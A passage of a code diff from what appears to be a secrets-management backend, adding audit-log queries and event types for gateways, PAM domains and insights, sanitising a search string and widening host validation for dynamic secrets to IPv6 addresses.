+      .groupBy(`${TableName.AuditLog}.ipAddress`)
+      .select(db.raw("COUNT(*)::int as count"))
+      .timeout(1000 * 120);
+
+    return rows as { ipAddress: string; count: number }[];
+  };
+
+  const countByAuthMethod = async (
+    {
+      orgId,
+      projectId,
+      eventTypes,
+      startDate,
+      endDate
+    }: {
+      orgId: string;
+      projectId: string;
+      eventTypes: EventType[];
+      startDate: string;
+      endDate: string;
+    },
+    tx?: knex.Knex
+  ) => {
+    const rows = await (tx || db.replicaNode())(TableName.AuditLog)
+      .where(`${TableName.AuditLog}.orgId`, orgId)
+      .where(`${TableName.AuditLog}.projectId`, projectId)
+      .whereIn(`${TableName.AuditLog}.eventType`, eventTypes)
+      .whereRaw(`"${TableName.AuditLog}"."createdAt" >= ?::timestamptz`, [startDate])
+      .whereRaw(`"${TableName.AuditLog}"."createdAt" < ?::timestamptz`, [endDate])
+      .select(`${TableName.AuditLog}.actor`, `${TableName.AuditLog}.actorMetadata`)
+      .groupBy(`${TableName.AuditLog}.actor`, `${TableName.AuditLog}.actorMetadata`)
+      .select(db.raw("COUNT(*)::int as count"))
+      .timeout(1000 * 120);
+
+    return rows as { actor: string; actorMetadata: unknown; count: number }[];
+  };
+
+  return {
+    ...auditLogOrm,
+    create,
+    pruneAuditLog,
+    getApproximateRowCount,
+    find,
+    countByDateAndActor,
+    countByIpAddress,
+    countByAuthMethod
+  };
 };
diff --git a/backend/src/ee/services/audit-log/audit-log-service.ts b/backend/src/ee/services/audit-log/audit-log-service.ts
index cefcd8349de..9c30f1838a5 100644
--- a/backend/src/ee/services/audit-log/audit-log-service.ts
+++ b/backend/src/ee/services/audit-log/audit-log-service.ts
@@ -2,7 +2,7 @@ import { ForbiddenError } from "@casl/ability";
 import { requestContext } from "@fastify/request-context";
 
 import { ActionProjectType, OrganizationActionScope, TUsers } from "@app/db/schemas";
-import { TKeyStoreFactory } from "@app/keystore/keystore";
+import { KeyStorePrefixes, KeyStoreTtls, TKeyStoreFactory } from "@app/keystore/keystore";
 import { getConfig } from "@app/lib/config/env";
 import { BadRequestError } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
@@ -23,7 +23,6 @@ import { ACTOR_TYPE_TO_METADATA_ID_KEY, EventType, TAuditLogServiceFactory } fro
 
 const AUDIT_LOG_ROW_WARNING_THRESHOLD = 350_000_000;
 const AUDIT_LOG_ALERT_ROW_INCREMENT = 10_000_000;
-const AUDIT_LOG_MIGRATION_ALERT_STATE_TTL_SECONDS = 7 * 24 * 60 * 60; // 7 days
 
 type TAuditLogServiceFactoryDep = {
   auditLogDAL: TAuditLogDALFactory;
@@ -192,7 +191,7 @@ export const auditLogServiceFactory = ({
 
     if (rowCount < AUDIT_LOG_ROW_WARNING_THRESHOLD) return;
 
-    const lastAlertedRowCountStr: string | null = await keyStore.getItem("audit-log-migration-alert-last-row-count");
+    const lastAlertedRowCountStr: string | null = await keyStore.getItem(KeyStorePrefixes.AuditLogMigrationAlert);
     const lastAlertedRowCount = lastAlertedRowCountStr ? Number(lastAlertedRowCountStr) : 0;
 
     if (lastAlertedRowCount > 0 && rowCount < lastAlertedRowCount + AUDIT_LOG_ALERT_ROW_INCREMENT) return;
@@ -210,8 +209,8 @@ export const auditLogServiceFactory = ({
 
     if (superAdminsResult.users.length === 0) {
       await keyStore.setItemWithExpiry(
-        "audit-log-migration-alert-last-row-count",
-        AUDIT_LOG_MIGRATION_ALERT_STATE_TTL_SECONDS,
+        KeyStorePrefixes.AuditLogMigrationAlert,
+        KeyStoreTtls.AuditLogMigrationAlertInSeconds,
         String(rowCount)
       );
       return;
@@ -253,8 +252,8 @@ export const auditLogServiceFactory = ({
       });
 
     await keyStore.setItemWithExpiry(
-      "audit-log-migration-alert-last-row-count",
-      AUDIT_LOG_MIGRATION_ALERT_STATE_TTL_SECONDS,
+      KeyStorePrefixes.AuditLogMigrationAlert,
+      KeyStoreTtls.AuditLogMigrationAlertInSeconds,
       String(rowCount)
     );
     logger.info(`checkPostgresAuditLogVolumeMigrationAlert: alert sent to super admins (rowCount=${rowCount})`);
diff --git a/backend/src/ee/services/audit-log/audit-log-types.ts b/backend/src/ee/services/audit-log/audit-log-types.ts
index 6e5fbb4ddd6..64f6d1a3d09 100644
--- a/backend/src/ee/services/audit-log/audit-log-types.ts
+++ b/backend/src/ee/services/audit-log/audit-log-types.ts
@@ -1,4 +1,6 @@
 import { ProjectType } from "@app/db/schemas";
+import { PamParentType } from "@app/ee/services/pam-account/pam-account-enums";
+import { ScepChallengeType } from "@app/ee/services/pki-scep/challenge";
 import {
   TCreateProjectTemplateDTO,
   TUpdateProjectTemplateDTO
@@ -88,7 +90,8 @@ export type TCreateAuditLogDTO = {
     | AcmeProfileActor
     | AcmeAccountActor
     | EstAccountActor
-    | ScepAccountActor;
+    | ScepAccountActor
+    | GatewayActor;
   orgId?: string;
   projectId?: string;
 } & BaseAuthData;
@@ -386,6 +389,9 @@ export enum EventType {
   GET_PKI_ALERT = "get-pki-alert",
   UPDATE_PKI_ALERT = "update-pki-alert",
   DELETE_PKI_ALERT = "delete-pki-alert",
+  CREATE_CERTIFICATE_INVENTORY_VIEW = "create-certificate-inventory-view",
+  UPDATE_CERTIFICATE_INVENTORY_VIEW = "update-certificate-inventory-view",
+  DELETE_CERTIFICATE_INVENTORY_VIEW = "delete-certificate-inventory-view",
   CREATE_PKI_COLLECTION = "create-pki-collection",
   GET_PKI_COLLECTION = "get-pki-collection",
   UPDATE_PKI_COLLECTION = "update-pki-collection",
@@ -443,6 +449,7 @@ export enum EventType {
   GET_CERTIFICATE_REQUEST = "get-certificate-request",
   GET_CERTIFICATE_FROM_REQUEST = "get-certificate-from-request",
   LIST_CERTIFICATE_REQUESTS = "list-certificate-requests",
+  TRIGGER_CERTIFICATE_REQUEST_VALIDATION = "trigger-certificate-request-validation",
   ATTEMPT_CREATE_SLACK_INTEGRATION = "attempt-create-slack-integration",
   ATTEMPT_REINSTALL_SLACK_INTEGRATION = "attempt-reinstall-slack-integration",
   GET_PROJECT_SLACK_CONFIG = "get-project-slack-config",
@@ -468,6 +475,7 @@ export enum EventType {
   CMEK_LIST_SIGNING_ALGORITHMS = "cmek-list-signing-algorithms",
   CMEK_GET_PUBLIC_KEY = "cmek-get-public-key",
   CMEK_GET_PRIVATE_KEY = "cmek-get-private-key",
+  CMEK_BULK_EXPORT_PRIVATE_KEYS = "cmek-bulk-export-private-keys",
 
   UPDATE_EXTERNAL_GROUP_ORG_ROLE_MAPPINGS = "update-external-group-org-role-mapping",
   GET_EXTERNAL_GROUP_ORG_ROLE_MAPPINGS = "get-external-group-org-role-mapping",
@@ -536,6 +544,7 @@ export enum EventType {
   CREATE_SECRET_ROTATION = "create-secret-rotation",
   UPDATE_SECRET_ROTATION = "update-secret-rotation",
   DELETE_SECRET_ROTATION = "delete-secret-rotation",
+  MOVE_SECRET_ROTATION = "move-secret-rotation",
   SECRET_ROTATION_ROTATE_SECRETS = "secret-rotation-rotate-secrets",
   RECONCILE_SECRET_ROTATION = "reconcile-secret-rotation",
 
@@ -596,6 +605,12 @@ export enum EventType {
   DASHBOARD_GET_SECRET_VALUE = "dashboard-get-secret-value",
   DASHBOARD_GET_SECRET_VERSION_VALUE = "dashboard-get-secret-version-value",
 
+  VIEW_INSIGHTS_AUTH_METHODS = "view-insights-auth-methods",
+  VIEW_INSIGHTS_SECRETS_MANAGEMENT_CALENDAR = "view-insights-secrets-management-calendar",
+  VIEW_INSIGHTS_SECRETS_MANAGEMENT_ACCESS_VOLUME = "view-insights-secrets-management-access-volume",
+  VIEW_INSIGHTS_SECRETS_MANAGEMENT_ACCESS_LOCATIONS = "view-insights-secrets-management-access-locations",
+  VIEW_INSIGHTS_SECRETS_MANAGEMENT_SUMMARY = "view-insights-secrets-management-summary",
+
   PAM_SESSION_CREDENTIALS_GET = "pam-session-credentials-get",
   PAM_SESSION_START = "pam-session-start",
   PAM_SESSION_LOGS_UPDATE = "pam-session-logs-update",
@@ -610,6 +625,7 @@ export enum EventType {
   PAM_ACCOUNT_LIST = "pam-account-list",
   PAM_ACCOUNT_GET = "pam-account-get",
   PAM_ACCOUNT_ACCESS = "pam-account-access",
+  PAM_ACCOUNT_AWS_CONSOLE_URL_GENERATED = "pam-account-aws-console-url-generated",
   PAM_ACCOUNT_CREATE = "pam-account-create",
   PAM_ACCOUNT_UPDATE = "pam-account-update",
   PAM_ACCOUNT_DELETE = "pam-account-delete",
@@ -627,6 +643,11 @@ export enum EventType {
   PAM_RESOURCE_CREATE = "pam-resource-create",
   PAM_RESOURCE_UPDATE = "pam-resource-update",
   PAM_RESOURCE_DELETE = "pam-resource-delete",
+  PAM_DOMAIN_LIST = "pam-domain-list",
+  PAM_DOMAIN_GET = "pam-domain-get",
+  PAM_DOMAIN_CREATE = "pam-domain-create",
+  PAM_DOMAIN_UPDATE = "pam-domain-update",
+  PAM_DOMAIN_DELETE = "pam-domain-delete",
   PAM_DISCOVERY_SOURCE_LIST = "pam-discovery-source-list",
   PAM_DISCOVERY_SOURCE_GET = "pam-discovery-source-get",
   PAM_DISCOVERY_SOURCE_CREATE = "pam-discovery-source-create",
@@ -736,16 +757,33 @@ export enum EventType {
   PKI_SIGNER_SIGN = "pki-signer-sign",
   SCEP_ENROLLMENT = "scep-enrollment",
   SCEP_RENEWAL = "scep-renewal",
+  SCEP_DYNAMIC_CHALLENGE_GENERATED = "scep-dynamic-challenge-generated",
 
   // Secret Validation Rules
   SECRET_VALIDATION_RULE_CREATE = "secret-validation-rule-create",
   SECRET_VALIDATION_RULE_UPDATE = "secret-validation-rule-update",
   SECRET_VALIDATION_RULE_DELETE = "secret-validation-rule-delete",
 
+  // External Migration
+  EXTERNAL_MIGRATION_CREATE = "external-migration-create",
+  EXTERNAL_MIGRATION_UPDATE = "external-migration-update",
+  EXTERNAL_MIGRATION_DELETE = "external-migration-delete",
   // Email Domains
   CREATE_EMAIL_DOMAIN = "create-email-domain",
   VERIFY_EMAIL_DOMAIN = "verify-email-domain",
-  DELETE_EMAIL_DOMAIN = "delete-email-domain"
+  DELETE_EMAIL_DOMAIN = "delete-email-domain",
+
+  // Gateway Enrollment Tokens
+  GATEWAY_CREATE = "gateway-create",
+  GATEWAY_ENROLLMENT_TOKEN_CREATE = "gateway-enrollment-token-create",
+  GATEWAY_ENROLL = "gateway-enroll",
+
+  // Gateway Pools
+  GATEWAY_POOL_CREATE = "gateway-pool-create",
+  GATEWAY_POOL_UPDATE = "gateway-pool-update",
+  GATEWAY_POOL_DELETE = "gateway-pool-delete",
+  GATEWAY_POOL_ADD_MEMBER = "gateway-pool-add-member",
+  GATEWAY_POOL_REMOVE_MEMBER = "gateway-pool-remove-member"
 }
 
 // Maps each actor type to the JSONB key that holds the actor's primary ID in actorMetadata.
@@ -760,7 +798,8 @@ export const ACTOR_TYPE_TO_METADATA_ID_KEY: Partial<Record<ActorType, string>> =
   [ActorType.ACME_PROFILE]: "profileId",
   [ActorType.ACME_ACCOUNT]: "accountId",
   [ActorType.EST_ACCOUNT]: "profileId",
-  [ActorType.SCEP_ACCOUNT]: "profileId"
+  [ActorType.SCEP_ACCOUNT]: "profileId",
+  [ActorType.GATEWAY]: "gatewayId"
 };
 
 export const filterableSecretEvents: EventType[] = [
@@ -790,7 +829,7 @@ interface IdentityActorMetadata {
   identityId: string;
   name: string;
   permission?: Record<string, unknown>;
-
+  authMethod?: string;
   aws?: TAWSAuthDetails;
   kubernetes?: TKubernetesAuthDetails;
   oidc?: TOidcAuthDetails;
@@ -824,6 +863,10 @@ interface ScepAccountActorMetadata {
 
 interface UnknownUserActorMetadata {}
 
+interface GatewayActorMetadata {
+  gatewayId: string;
+}
+
 export interface UserActor {
   type: ActorType.USER;
   metadata: UserActorMetadata;
@@ -877,6 +920,12 @@ export interface ScepAccountActor {
   type: ActorType.SCEP_ACCOUNT;
   metadata: ScepAccountActorMetadata;
 }
+
+export interface GatewayActor {
+  type: ActorType.GATEWAY;
+  metadata: GatewayActorMetadata;
+}
+
 export type Actor =
   | UserActor
   | ServiceActor
@@ -887,7 +936,8 @@ export type Actor =
   | AcmeProfileActor
   | AcmeAccountActor
   | EstAccountActor
-  | ScepAccountActor;
+  | ScepAccountActor
+  | GatewayActor;
 
 interface GetSecretsEvent {
   type: EventType.GET_SECRETS;
@@ -2249,6 +2299,9 @@ interface CreateWebhookEvent {
     environment: string;
     secretPath: string;
     isDisabled: boolean;
+    eventsFilter?: {
+      eventName: string;
+    }[];
   };
 }
 
@@ -2259,6 +2312,9 @@ interface UpdateWebhookStatusEvent {
     environment: string;
     secretPath: string;
     isDisabled: boolean;
+    eventsFilter?: {
+      eventName: string;
+    }[];
   };
 }
 
@@ -3013,6 +3069,36 @@ interface DeletePkiCollectionItem {
   };
 }
 
+interface CreateCertificateInventoryView {
+  type: EventType.CREATE_CERTIFICATE_INVENTORY_VIEW;
+  metadata: {
+    viewId: string;
+    name: string;
+    filters?: Record<string, unknown>;
+    columns?: string[];
+    isShared?: boolean;
+  };
+}
+
+interface UpdateCertificateInventoryView {
+  type: EventType.UPDATE_CERTIFICATE_INVENTORY_VIEW;
+  metadata: {
+    viewId: string;
+    name?: string;
+    filters?: Record<string, unknown>;
+    columns?: string[];
+    isShared?: boolean;
+  };
+}
+
+interface DeleteCertificateInventoryView {
+  type: EventType.DELETE_CERTIFICATE_INVENTORY_VIEW;
+  metadata: {
+    viewId: string;
+    name: string;
+  };
+}
+
 interface CreatePkiSubscriber {
   type: EventType.CREATE_PKI_SUBSCRIBER;
   metadata: {
@@ -3589,6 +3675,13 @@ interface CmekGetPrivateKeyEvent {
   };
 }
 
+interface CmekBulkGetPrivateKeysEvent {
+  type: EventType.CMEK_BULK_EXPORT_PRIVATE_KEYS;
+  metadata: {
+    keys: { keyId: string; name: string }[];
+  };
+}
+
 interface GetExternalGroupOrgRoleMappingsEvent {
   type: EventType.GET_EXTERNAL_GROUP_ORG_ROLE_MAPPINGS;
   metadata?: Record<string, never>; // not needed, based off orgId
@@ -4288,6 +4381,18 @@ interface DeleteSecretRotationEvent {
   metadata: TDeleteSecretRotationV2DTO;
 }
 
+interface MoveSecretRotationEvent {
+  type: EventType.MOVE_SECRET_ROTATION;
+  metadata: {
+    type: string;
+    rotationId: string;
+    sourceEnvironment: string;
+    sourceSecretPath: string;
+    destinationEnvironment: string;
+    destinationSecretPath: string;
+  };
+}
+
 interface RotateSecretRotationEvent {
   type: EventType.SECRET_ROTATION_ROTATE_SECRETS;
   metadata: Pick<TSecretRotationV2Raw, "parameters" | "secretsMapping" | "type" | "connectionId" | "folderId"> & {
@@ -4653,6 +4758,45 @@ interface DashboardGetSecretVersionValueEvent {
   };
 }
 
+interface ViewSecretManagementInsightsCalendarEvent {
+  type: EventType.VIEW_INSIGHTS_SECRETS_MANAGEMENT_CALENDAR;
+  metadata: {
+    projectId: string;
+    month: number;
+    year: number;
+  };
+}
+
+interface ViewSecretManagementInsightsAccessVolumeEvent {
+  type: EventType.VIEW_INSIGHTS_SECRETS_MANAGEMENT_ACCESS_VOLUME;
+  metadata: {
+    projectId: string;
+  };
+}
+
+interface ViewSecretManagementInsightsAccessLocationsEvent {
+  type: EventType.VIEW_INSIGHTS_SECRETS_MANAGEMENT_ACCESS_LOCATIONS;
+  metadata: {
+    projectId: string;
+    days: number;
+  };
+}
+
+interface ViewInsightsAuthMethodsEvent {
+  type: EventType.VIEW_INSIGHTS_AUTH_METHODS;
+  metadata: {
+    projectId: string;
+    days: number;
+  };
+}
+
+interface ViewSecretManagementInsightsSummaryEvent {
+  type: EventType.VIEW_INSIGHTS_SECRETS_MANAGEMENT_SUMMARY;
+  metadata: {
+    projectId: string;
+  };
+}
+
 interface ProjectRoleCreateEvent {
   type: EventType.CREATE_PROJECT_ROLE;
   metadata: {
@@ -4825,6 +4969,7 @@ interface PamAccountAccessEvent {
     resourceName: string;
     accountName: string;
     duration?: string;
+    reason?: string;
   };
 }
 
@@ -4837,11 +4982,22 @@ interface PamWebAccessSessionTicketCreatedEvent {
   };
 }
 
+interface PamAccountAwsConsoleUrlGeneratedEvent {
+  type: EventType.PAM_ACCOUNT_AWS_CONSOLE_URL_GENERATED;
+  metadata: {
+    sessionId: string;
+    accountId: string;
+    resourceName: string;
+    accountName: string;
+  };
+}
+
 interface PamAccountCreateEvent {
   type: EventType.PAM_ACCOUNT_CREATE;
   metadata: {
-    resourceId: string;
-    resourceType: string;
+    resourceId?: string | null;
+    domainId?: string | null;
+    parentType: PamParentType;
     folderId?: string | null;
     name: string;
     description?: string | null;
@@ -4853,8 +5009,9 @@ interface PamAccountUpdateEvent {
   type: EventType.PAM_ACCOUNT_UPDATE;
   metadata: {
     accountId: string;
-    resourceId: string;
-    resourceType: string;
+    resourceId?: string | null;
+    domainId?: string | null;
+    parentType: PamParentType;
     name?: string;
     description?: string | null;
     requireMfa?: boolean | null;
@@ -4866,8 +5023,9 @@ interface PamAccountDeleteEvent {
   metadata: {
     accountName: string;
     accountId: string;
-    resourceId: string;
-    resourceType: string;
+    resourceId?: string | null;
+    domainId?: string | null;
+    parentType: PamParentType;
   };
 }
 
@@ -4940,8 +5098,10 @@ interface PamAccountReadCredentialsEvent {
   metadata: {
     accountId: string;
     accountName: string;
-    resourceId: string;
-    resourceType: string;
+    resourceId?: string | null;
+    resourceType?: string | null;
+    domainId?: string | null;
+    domainType?: string | null;
   };
 }
 
@@ -4988,6 +5148,49 @@ interface PamResourceDeleteEvent {
   };
 }
 
+interface PamDomainListEvent {
+  type: EventType.PAM_DOMAIN_LIST;
+  metadata: {
+    count: number;
+  };
+}
+
+interface PamDomainGetEvent {
+  type: EventType.PAM_DOMAIN_GET;
+  metadata: {
+    domainId: string;
+    domainType: string;
+    name: string;
+  };
+}
+
+interface PamDomainCreateEvent {
+  type: EventType.PAM_DOMAIN_CREATE;
+  metadata: {
+    domainType: string;
+    gatewayId?: string;
+    name: string;
+  };
+}
+
+interface PamDomainUpdateEvent {
+  type: EventType.PAM_DOMAIN_UPDATE;
+  metadata: {
+    domainId: string;
+    domainType: string;
+    gatewayId?: string;
+    name?: string;
+  };
+}
+
+interface PamDomainDeleteEvent {
+  type: EventType.PAM_DOMAIN_DELETE;
+  metadata: {
+    domainId: string;
+    domainType: string;
+  };
+}
+
 interface PamDiscoverySourceListEvent {
   type: EventType.PAM_DISCOVERY_SOURCE_LIST;
   metadata: {
@@ -5208,6 +5411,15 @@ interface GetCertificateFromRequestEvent {
   };
 }
 
+interface TriggerCertificateRequestValidationEvent {
+  type: EventType.TRIGGER_CERTIFICATE_REQUEST_VALIDATION;
+  metadata: {
+    certificateRequestId: string;
+    status: string;
+    orderStatus?: string;
+  };
+}
+
 interface ListCertificateRequestsEvent {
   type: EventType.LIST_CERTIFICATE_REQUESTS;
   metadata: {
@@ -5805,7 +6017,7 @@ interface ScepEnrollmentEvent {
     profileSlug: string;
     transactionId: string;
     csrSubject: string;
-    challengeType: "static";
+    challengeType: ScepChallengeType;
     status: "success" | "pending" | "failure";
     failReason?: string;
     issuedCertificateId?: string;
@@ -5830,6 +6042,15 @@ interface ScepRenewalEvent {
   };
 }
 
+interface ScepDynamicChallengeGeneratedEvent {
+  type: EventType.SCEP_DYNAMIC_CHALLENGE_GENERATED;
+  metadata: {
+    profileId: string;
+    profileSlug: string;
+    expiresAt: string;
+  };
+}
+
 interface SecretValidationRuleCreateEvent {
   type: EventType.SECRET_VALIDATION_RULE_CREATE;
   metadata: {
@@ -5861,6 +6082,31 @@ interface SecretValidationRuleDeleteEvent {
   };
 }
 
+interface ExternalMigrationCreateEvent {
+  type: EventType.EXTERNAL_MIGRATION_CREATE;
+  metadata: {
+    configId: string;
+    provider: string;
+    connectionId: string | null;
+  };
+}
+
+interface ExternalMigrationUpdateEvent {
+  type: EventType.EXTERNAL_MIGRATION_UPDATE;
+  metadata: {
+    configId: string;
+    provider: string;
+    connectionId: string | null;
+  };
+}
+
+interface ExternalMigrationDeleteEvent {
+  type: EventType.EXTERNAL_MIGRATION_DELETE;
+  metadata: {
+    configId: string;
+    provider: string;
+  };
+}
 interface CreateEmailDomainEvent {
   type: EventType.CREATE_EMAIL_DOMAIN;
   metadata: {
@@ -5885,6 +6131,74 @@ interface DeleteEmailDomainEvent {
   };
 }
 
+interface GatewayCreateEvent {
+  type: EventType.GATEWAY_CREATE;
+  metadata: {
+    gatewayId: string;
+    name: string;
+  };
+}
+
+interface GatewayEnrollmentTokenCreateEvent {
+  type: EventType.GATEWAY_ENROLLMENT_TOKEN_CREATE;
+  metadata: {
+    tokenId: string;
+    name: string;
+  };
+}
+
+interface GatewayEnrollEvent {
+  type: EventType.GATEWAY_ENROLL;
+  metadata: {
+    gatewayId: string;
+    name: string;
+  };
+}
+
+interface GatewayPoolCreateEvent {
+  type: EventType.GATEWAY_POOL_CREATE;
+  metadata: {
+    poolId: string;
+    name: string;
+  };
+}
+
+interface GatewayPoolUpdateEvent {
+  type: EventType.GATEWAY_POOL_UPDATE;
+  metadata: {
+    poolId: string;
+    name: string;
+  };
+}
+
+interface GatewayPoolDeleteEvent {
+  type: EventType.GATEWAY_POOL_DELETE;
+  metadata: {
+    poolId: string;
+    name: string;
+  };
+}
+
+interface GatewayPoolAddMemberEvent {
+  type: EventType.GATEWAY_POOL_ADD_MEMBER;
+  metadata: {
+    poolId: string;
+    poolName: string;
+    gatewayId: string;
+    gatewayName: string;
+  };
+}
+
+interface GatewayPoolRemoveMemberEvent {
+  type: EventType.GATEWAY_POOL_REMOVE_MEMBER;
+  metadata: {
+    poolId: string;
+    poolName: string;
+    gatewayId: string;
+    gatewayName: string;
+  };
+}
+
 export type Event =
   | CreateSubOrganizationEvent
   | UpdateSubOrganizationEvent
@@ -6095,6 +6409,9 @@ export type Event =
   | GetPkiCollectionItems
   | AddPkiCollectionItem
   | DeletePkiCollectionItem
+  | CreateCertificateInventoryView
+  | UpdateCertificateInventoryView
+  | DeleteCertificateInventoryView
   | CreatePkiSubscriber
   | UpdatePkiSubscriber
   | DeletePkiSubscriber
@@ -6154,6 +6471,7 @@ export type Event =
   | CmekListSigningAlgorithmsEvent
   | CmekGetPublicKeyEvent
   | CmekGetPrivateKeyEvent
+  | CmekBulkGetPrivateKeysEvent
   | GetExternalGroupOrgRoleMappingsEvent
   | UpdateExternalGroupOrgRoleMappingsEvent
   | GetProjectTemplatesEvent
@@ -6247,6 +6565,7 @@ export type Event =
   | CreateSecretRotationEvent
   | UpdateSecretRotationEvent
   | DeleteSecretRotationEvent
+  | MoveSecretRotationEvent
   | RotateSecretRotationEvent
   | ReconcileSecretRotationEvent
   | MicrosoftTeamsWorkflowIntegrationCreateEvent
@@ -6287,6 +6606,11 @@ export type Event =
   | DashboardListSecretsEvent
   | DashboardGetSecretValueEvent
   | DashboardGetSecretVersionValueEvent
+  | ViewSecretManagementInsightsCalendarEvent
+  | ViewSecretManagementInsightsAccessVolumeEvent
+  | ViewSecretManagementInsightsAccessLocationsEvent
+  | ViewInsightsAuthMethodsEvent
+  | ViewSecretManagementInsightsSummaryEvent
   | ProjectRoleCreateEvent
   | ProjectRoleUpdateEvent
   | ProjectRoleDeleteEvent
@@ -6307,6 +6631,7 @@ export type Event =
   | PamAccountListEvent
   | PamAccountGetEvent
   | PamAccountAccessEvent
+  | PamAccountAwsConsoleUrlGeneratedEvent
   | PamWebAccessSessionTicketCreatedEvent
   | PamAccountCreateEvent
   | PamAccountUpdateEvent
@@ -6324,6 +6649,11 @@ export type Event =
   | PamResourceCreateEvent
   | PamResourceUpdateEvent
   | PamResourceDeleteEvent
+  | PamDomainListEvent
+  | PamDomainGetEvent
+  | PamDomainCreateEvent
+  | PamDomainUpdateEvent
+  | PamDomainDeleteEvent
   | PamDiscoverySourceListEvent
   | PamDiscoverySourceGetEvent
   | PamDiscoverySourceCreateEvent
@@ -6346,6 +6676,7 @@ export type Event =
   | GetCertificateRequestEvent
   | GetCertificateFromRequestEvent
   | ListCertificateRequestsEvent
+  | TriggerCertificateRequestValidationEvent
   | AutomatedRenewCertificate
   | AutomatedRenewCertificateFailed
   | UserLoginEvent
@@ -6413,9 +6744,21 @@ export type Event =
   | CertificateCleanupCompletedEvent
   | ScepEnrollmentEvent
   | ScepRenewalEvent
+  | ScepDynamicChallengeGeneratedEvent
   | SecretValidationRuleCreateEvent
   | SecretValidationRuleUpdateEvent
   | SecretValidationRuleDeleteEvent
+  | ExternalMigrationCreateEvent
+  | ExternalMigrationUpdateEvent
+  | ExternalMigrationDeleteEvent
   | CreateEmailDomainEvent
   | VerifyEmailDomainEvent
-  | DeleteEmailDomainEvent;
+  | DeleteEmailDomainEvent
+  | GatewayCreateEvent
+  | GatewayEnrollmentTokenCreateEvent
+  | GatewayEnrollEvent
+  | GatewayPoolCreateEvent
+  | GatewayPoolUpdateEvent
+  | GatewayPoolDeleteEvent
+  | GatewayPoolAddMemberEvent
+  | GatewayPoolRemoveMemberEvent;
diff --git a/backend/src/ee/services/dynamic-secret-lease/dynamic-secret-lease-queue.ts b/backend/src/ee/services/dynamic-secret-lease/dynamic-secret-lease-queue.ts
index 688db03690d..52f6b03232a 100644
--- a/backend/src/ee/services/dynamic-secret-lease/dynamic-secret-lease-queue.ts
+++ b/backend/src/ee/services/dynamic-secret-lease/dynamic-secret-lease-queue.ts
@@ -1,8 +1,7 @@
 import { ProjectMembershipRole } from "@app/db/schemas";
-import { DisableRotationErrors } from "@app/ee/services/secret-rotation/secret-rotation-queue";
 import { getConfig } from "@app/lib/config/env";
 import { applyJitter } from "@app/lib/delay";
-import { NotFoundError } from "@app/lib/errors";
+import { DisableRotationErrors, NotFoundError } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
 import { QueueJobs, QueueName, TQueueServiceFactory } from "@app/queue";
 import { TIdentityDALFactory } from "@app/services/identity/identity-dal";
diff --git a/backend/src/ee/services/dynamic-secret/dynamic-secret-dal.ts b/backend/src/ee/services/dynamic-secret/dynamic-secret-dal.ts
index 7dcc6836e8d..482bb851949 100644
--- a/backend/src/ee/services/dynamic-secret/dynamic-secret-dal.ts
+++ b/backend/src/ee/services/dynamic-secret/dynamic-secret-dal.ts
@@ -3,6 +3,7 @@ import { Knex } from "knex";
 import { TDbClient } from "@app/db";
 import { TableName, TDynamicSecrets } from "@app/db/schemas";
 import { DatabaseError } from "@app/lib/errors";
+import { sanitizeSqlLikeString } from "@app/lib/fn";
 import {
   buildFindFilter,
   ormify,
@@ -142,7 +143,7 @@ export const dynamicSecretDALFactory = (db: TDbClient): TDynamicSecretDALFactory
         .whereIn("folderId", folderIds)
         .where((bd) => {
           if (search) {
-            void bd.whereILike(`${TableName.DynamicSecret}.name`, `%${search}%`);
+            void bd.whereILike(`${TableName.DynamicSecret}.name`, `%${sanitizeSqlLikeString(search)}%`);
           }
         })
         .leftJoin(
diff --git a/backend/src/ee/services/dynamic-secret/dynamic-secret-fns.ts b/backend/src/ee/services/dynamic-secret/dynamic-secret-fns.ts
index af1f422de20..8a440c1aeb1 100644
--- a/backend/src/ee/services/dynamic-secret/dynamic-secret-fns.ts
+++ b/backend/src/ee/services/dynamic-secret/dynamic-secret-fns.ts
@@ -24,6 +24,7 @@ export const verifyHostInputValidity = async ({
   const reservedHosts = [appCfg.DB_HOST || getDbConnectionHost(appCfg.DB_CONNECTION_URI)].concat(
     (appCfg.DB_READ_REPLICAS || []).map((el) => getDbConnectionHost(el.DB_CONNECTION_URI)),
     getDbConnectionHost(appCfg.REDIS_URL),
+    getDbConnectionHost(appCfg.CLICKHOUSE_URL),
     getDbConnectionHost(appCfg.AUDIT_LOGS_DB_CONNECTION_URI)
   );
 
@@ -31,26 +32,18 @@ export const verifyHostInputValidity = async ({
   const exclusiveIps: string[] = [];
   for await (const el of reservedHosts) {
     if (el) {
-      if (net.isIPv4(el)) {
+      if (net.isIP(el)) {
         exclusiveIps.push(el);
       } else {
-        try {
-          const resolvedIps = await dns.resolve4(el);
-          exclusiveIps.push(...resolvedIps);
-        } catch (error) {
-          // only try lookup if not found
-          if ((error as { code: string })?.code !== "ENOTFOUND") throw error;
-
-          const resolvedIps = (await dns.lookup(el, { all: true, family: 4 })).map(({ address }) => address);
-          exclusiveIps.push(...resolvedIps);
-        }
+        const resolvedIps = (await dns.lookup(el, { all: true })).map(({ address }) => address);
+        exclusiveIps.push(...resolvedIps);
       }
     }
   }
 
   const normalizedHost = host.split(":")[0].toLowerCase();
   const inputHostIps: string[] = [];
-  if (net.isIPv4(host)) {
+  if (net.isIP(host)) {
     inputHostIps.push(host);
   } else {
     if (!appCfg.DYNAMIC_SECRET_ALLOW_INTERNAL_IP && !appCfg.ALLOW_INTERNAL_IP_CONNECTIONS) {
@@ -60,16 +53,8 @@ export const verifyHostInputValidity = async ({
         });
       }
     }
-    try {
-      const resolvedIps = await dns.resolve4(host);
-      inputHostIps.push(...resolvedIps);
-    } catch (error) {
-      // only try lookup if not found
-      if ((error as { code: string })?.code !== "ENOTFOUND") throw error;
-
-      const resolvedIps = (await dns.lookup(host, { all: true, family: 4 })).map(({ address }) => address);
-      inputHostIps.push(...resolvedIps);
-    }
+    const resolvedIps = (await dns.lookup(host, { all: true })).map(({ address }) => address);
+    inputHostIps.push(...resolvedIps);
   }
 
   if (!(appCfg.DYNAMIC_SECRET_ALLOW_INTERNAL_IP || appCfg.ALLOW_INTERNAL_IP_CONNECTIONS)) {
diff --git a/backend/src/ee/services/dynamic-secret/dynamic-secret-service.ts b/backend/src/ee/services/dynamic-secret/dynamic-secret-service.ts
index b5c82fd624d..b0165ae7cbd 100644
--- a/backend/src/ee/services/dynamic-secret/dynamic-secret-service.ts
+++ b/backend/src/ee/services/dynamic-secret/dynamic-secret-service.ts
@@ -616,7 +616,7 @@ export const dynamicSecretServiceFactory = ({
